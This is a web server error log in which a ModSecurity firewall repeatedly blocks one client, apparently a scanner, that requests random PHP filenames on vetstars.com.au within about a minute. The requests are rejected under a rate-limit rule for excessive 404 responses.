[Mon Apr 20 20:01:23.385341 2026] [:error] [pid 11351:tid 11398] [client 172.213.242.226:18239] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dawvg.php"] [unique_id "aeYVkwN8Z1-vktaI_tPtNgAAAEs"]
[Mon Apr 20 20:01:23.914136 2026] [:error] [pid 11352:tid 11433] [client 172.213.242.226:18258] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dawvg.php"] [unique_id "aeYVk2l10mhMSfJ7ir_QXQAAAJM"]
[Mon Apr 20 20:01:24.491632 2026] [:error] [pid 11441:tid 11465] [client 172.213.242.226:18126] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/byrgo.php"] [unique_id "aeYVlMixByFUvmh319CRZAAAANY"]
[Mon Apr 20 20:01:25.067876 2026] [:error] [pid 11351:tid 11390] [client 172.213.242.226:18299] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/byrgo.php"] [unique_id "aeYVlQN8Z1-vktaI_tPtNwAAAEM"]
[Mon Apr 20 20:01:25.596086 2026] [:error] [pid 11441:tid 11448] [client 172.213.242.226:18120] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/byrgo.php"] [unique_id "aeYVlcixByFUvmh319CRaAAAAMU"]
[Mon Apr 20 20:01:26.121605 2026] [:error] [pid 11351:tid 11405] [client 172.213.242.226:18146] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/byrgo.php"] [unique_id "aeYVlgN8Z1-vktaI_tPtOAAAAFI"]
[Mon Apr 20 20:01:26.704668 2026] [:error] [pid 11441:tid 11444] [client 172.213.242.226:18214] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hhxc.php"] [unique_id "aeYVlsixByFUvmh319CRawAAAME"]
[Mon Apr 20 20:01:27.205202 2026] [:error] [pid 11441:tid 11467] [client 172.213.242.226:18294] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hhxc.php"] [unique_id "aeYVl8ixByFUvmh319CRbQAAANg"]
[Mon Apr 20 20:01:27.750060 2026] [:error] [pid 11351:tid 11396] [client 172.213.242.226:18148] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hhxc.php"] [unique_id "aeYVlwN8Z1-vktaI_tPtOQAAAEk"]
[Mon Apr 20 20:01:28.321491 2026] [:error] [pid 11494:tid 11509] [client 172.213.242.226:18211] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hhxc.php"] [unique_id "aeYVmMgko5iFiE8YoyTTzQAAAY0"]
[Mon Apr 20 20:01:28.827919 2026] [:error] [pid 11494:tid 11516] [client 172.213.242.226:18302] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cgi-bin_bkp.php"] [unique_id "aeYVmMgko5iFiE8YoyTTzwAAAZQ"]
[Mon Apr 20 20:02:14.122961 2026] [:error] [pid 11351:tid 11403] [client 172.213.242.226:18201] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wglum1.php"] [unique_id "aeYVxgN8Z1-vktaI_tPtrQAAAFA"]
[Mon Apr 20 20:02:15.545727 2026] [:error] [pid 11351:tid 11399] [client 172.213.242.226:18191] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wglum1.php"] [unique_id "aeYVxwN8Z1-vktaI_tPtswAAAEw"]
[Mon Apr 20 20:02:16.586826 2026] [:error] [pid 11352:tid 11436] [client 172.213.242.226:18285] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wglum1.php"] [unique_id "aeYVyGl10mhMSfJ7ir_QfAAAAJY"]
[Mon Apr 20 20:02:17.178947 2026] [:error] [pid 6928:tid 6939] [client 172.213.242.226:18207] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wglum1.php"] [unique_id "aeYVyR3y7MHq1iB0qYql8QAAAUk"]
[Mon Apr 20 20:02:17.805510 2026] [:error] [pid 6928:tid 6932] [client 172.213.242.226:18181] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hfles.php"] [unique_id "aeYVyR3y7MHq1iB0qYql9AAAAUI"]
[Mon Apr 20 20:02:18.374787 2026] [:error] [pid 11441:tid 11447] [client 172.213.242.226:18262] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hfles.php"] [unique_id "aeYVysixByFUvmh319CRlQAAAMQ"]
[Mon Apr 20 20:02:18.973586 2026] [:error] [pid 11351:tid 11411] [client 172.213.242.226:18203] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hfles.php"] [unique_id "aeYVygN8Z1-vktaI_tPtuQAAAFg"]
[Mon Apr 20 20:02:19.475184 2026] [:error] [pid 11350:tid 11368] [client 172.213.242.226:18117] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hfles.php"] [unique_id "aeYVy_4EoMBgOJuJnT2YtAAAAAk"]
[Mon Apr 20 20:02:19.985300 2026] [:error] [pid 11494:tid 11507] [client 172.213.242.226:18163] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dass.php"] [unique_id "aeYVy8gko5iFiE8YoyTUHQAAAYs"]
[Mon Apr 20 20:02:20.557141 2026] [:error] [pid 11494:tid 11500] [client 172.213.242.226:18144] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dass.php"] [unique_id "aeYVzMgko5iFiE8YoyTUHwAAAYQ"]
[Mon Apr 20 20:02:21.112661 2026] [:error] [pid 6928:tid 6949] [client 172.213.242.226:18116] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dass.php"] [unique_id "aeYVzR3y7MHq1iB0qYql9gAAAVM"]
[Mon Apr 20 20:02:21.655863 2026] [:error] [pid 42014:tid 42039] [client 172.213.242.226:18215] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dass.php"] [unique_id "aeYVzcek-00-ZI0f1Np5EAAAARc"]
[Mon Apr 20 20:02:22.353388 2026] [:error] [pid 11494:tid 11519] [client 172.213.242.226:18054] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/4GrJSiwkF3A.php"] [unique_id "aeYVzsgko5iFiE8YoyTUKAAAAZc"]
[Mon Apr 20 20:02:22.838789 2026] [:error] [pid 11494:tid 11504] [client 172.213.242.226:18131] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/4GrJSiwkF3A.php"] [unique_id "aeYVzsgko5iFiE8YoyTULQAAAYg"]
[Mon Apr 20 20:02:23.394180 2026] [:error] [pid 11494:tid 11507] [client 172.213.242.226:18154] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/4GrJSiwkF3A.php"] [unique_id "aeYVz8gko5iFiE8YoyTUMAAAAYs"]
[Mon Apr 20 20:02:23.905028 2026] [:error] [pid 11494:tid 11500] [client 172.213.242.226:18159] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/4GrJSiwkF3A.php"] [unique_id "aeYVz8gko5iFiE8YoyTUMwAAAYQ"]
[Mon Apr 20 20:02:24.478410 2026] [:error] [pid 42014:tid 42034] [client 172.213.242.226:18056] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bykdo.php"] [unique_id "aeYV0Mek-00-ZI0f1Np5FAAAARI"]
[Mon Apr 20 20:02:25.109051 2026] [:error] [pid 11350:tid 11380] [client 172.213.242.226:18068] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bykdo.php"] [unique_id "aeYV0f4EoMBgOJuJnT2YugAAABU"]
[Mon Apr 20 20:02:26.024468 2026] [:error] [pid 11350:tid 11373] [client 172.213.242.226:18266] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bykdo.php"] [unique_id "aeYV0v4EoMBgOJuJnT2YxAAAAA4"]
[Mon Apr 20 20:02:26.599072 2026] [:error] [pid 11351:tid 11393] [client 172.213.242.226:18093] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bykdo.php"] [unique_id "aeYV0gN8Z1-vktaI_tPtvgAAAEY"]
[Mon Apr 20 20:02:27.179042 2026] [:error] [pid 11351:tid 11392] [client 172.213.242.226:18228] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/uazsl.php"] [unique_id "aeYV0wN8Z1-vktaI_tPtwgAAAEU"]
[Mon Apr 20 20:02:27.785719 2026] [:error] [pid 11494:tid 11504] [client 172.213.242.226:18251] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/uazsl.php"] [unique_id "aeYV08gko5iFiE8YoyTUNwAAAYg"]
[Mon Apr 20 20:02:28.376657 2026] [:error] [pid 11350:tid 11380] [client 172.213.242.226:18122] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/uazsl.php"] [unique_id "aeYV1P4EoMBgOJuJnT2YyQAAABU"]
[Mon Apr 20 20:02:28.938498 2026] [:error] [pid 6928:tid 6940] [client 172.213.242.226:18152] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/uazsl.php"] [unique_id "aeYV1B3y7MHq1iB0qYql-wAAAUo"]
[Mon Apr 20 20:02:30.032575 2026] [:error] [pid 42014:tid 42022] [client 172.213.242.226:18129] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/csv.php"] [unique_id "aeYV1sek-00-ZI0f1Np5FQAAAQY"]
[Mon Apr 20 20:02:30.693175 2026] [:error] [pid 11494:tid 11508] [client 172.213.242.226:18222] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/csv.php"] [unique_id "aeYV1sgko5iFiE8YoyTUPAAAAYw"]
[Mon Apr 20 20:02:31.221248 2026] [:error] [pid 11350:tid 11382] [client 172.213.242.226:18115] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/csv.php"] [unique_id "aeYV1_4EoMBgOJuJnT2Y1AAAABc"]
[Mon Apr 20 20:02:31.781993 2026] [:error] [pid 6928:tid 6936] [client 172.213.242.226:18178] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/csv.php"] [unique_id "aeYV1x3y7MHq1iB0qYql_gAAAUY"]
[Mon Apr 20 20:02:32.416151 2026] [:error] [pid 11350:tid 11367] [client 172.213.242.226:18221] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bootstrap.php"] [unique_id "aeYV2P4EoMBgOJuJnT2Y3wAAAAg"]
[Mon Apr 20 20:02:33.044974 2026] [:error] [pid 11350:tid 11383] [client 172.213.242.226:18235] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bootstrap.php"] [unique_id "aeYV2f4EoMBgOJuJnT2Y5QAAABg"]
[Mon Apr 20 20:02:33.721769 2026] [:error] [pid 11350:tid 11364] [client 172.213.242.226:18124] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bootstrap.php"] [unique_id "aeYV2f4EoMBgOJuJnT2Y6gAAAAU"]
[Mon Apr 20 20:02:34.486933 2026] [:error] [pid 11494:tid 11517] [client 172.213.242.226:18088] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bootstrap.php"] [unique_id "aeYV2sgko5iFiE8YoyTUPgAAAZU"]
[Mon Apr 20 20:02:35.135456 2026] [:error] [pid 11494:tid 11505] [client 172.213.242.226:13002] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/coiuz.php"] [unique_id "aeYV28gko5iFiE8YoyTUPwAAAYk"]
[Mon Apr 20 20:02:35.693924 2026] [:error] [pid 11352:tid 11427] [client 172.213.242.226:18145] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/coiuz.php"] [unique_id "aeYV22l10mhMSfJ7ir_QigAAAI0"]
[Mon Apr 20 20:02:36.602383 2026] [:error] [pid 11350:tid 11369] [client 172.213.242.226:18048] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/coiuz.php"] [unique_id "aeYV3P4EoMBgOJuJnT2Y-gAAAAo"]
[Mon Apr 20 20:02:38.098727 2026] [:error] [pid 11441:tid 11454] [client 172.213.242.226:18219] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/coiuz.php"] [unique_id "aeYV3sixByFUvmh319CRqQAAAMs"]
[Mon Apr 20 20:02:39.096055 2026] [:error] [pid 11351:tid 11394] [client 172.213.242.226:18176] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws84.php"] [unique_id "aeYV3wN8Z1-vktaI_tPt0QAAAEc"]
[Mon Apr 20 20:02:39.850671 2026] [:error] [pid 11350:tid 11369] [client 172.213.242.226:18218] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws84.php"] [unique_id "aeYV3_4EoMBgOJuJnT2ZEwAAAAo"]
[Mon Apr 20 20:02:40.405032 2026] [:error] [pid 6928:tid 6932] [client 172.213.242.226:18155] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws84.php"] [unique_id "aeYV4B3y7MHq1iB0qYqmAQAAAUI"]
[Mon Apr 20 20:02:41.129924 2026] [:error] [pid 11441:tid 11458] [client 172.213.242.226:18191] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws84.php"] [unique_id "aeYV4cixByFUvmh319CRqwAAAM8"]
[Mon Apr 20 20:02:41.718632 2026] [:error] [pid 11441:tid 11464] [client 172.213.242.226:18252] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ccrheegr.php"] [unique_id "aeYV4cixByFUvmh319CRrgAAANU"]
[Mon Apr 20 20:02:42.217214 2026] [:error] [pid 11350:tid 11374] [client 172.213.242.226:18141] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ccrheegr.php"] [unique_id "aeYV4v4EoMBgOJuJnT2ZKwAAAA8"]
[Mon Apr 20 20:02:42.770741 2026] [:error] [pid 11350:tid 11377] [client 172.213.242.226:18134] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ccrheegr.php"] [unique_id "aeYV4v4EoMBgOJuJnT2ZMwAAABI"]
[Mon Apr 20 20:02:43.430993 2026] [:error] [pid 11350:tid 11371] [client 172.213.242.226:18078] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ccrheegr.php"] [unique_id "aeYV4_4EoMBgOJuJnT2ZOgAAAAw"]
[Mon Apr 20 20:02:43.993578 2026] [:error] [pid 11352:tid 11422] [client 172.213.242.226:18059] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ebuom.php"] [unique_id "aeYV42l10mhMSfJ7ir_QjAAAAIg"]
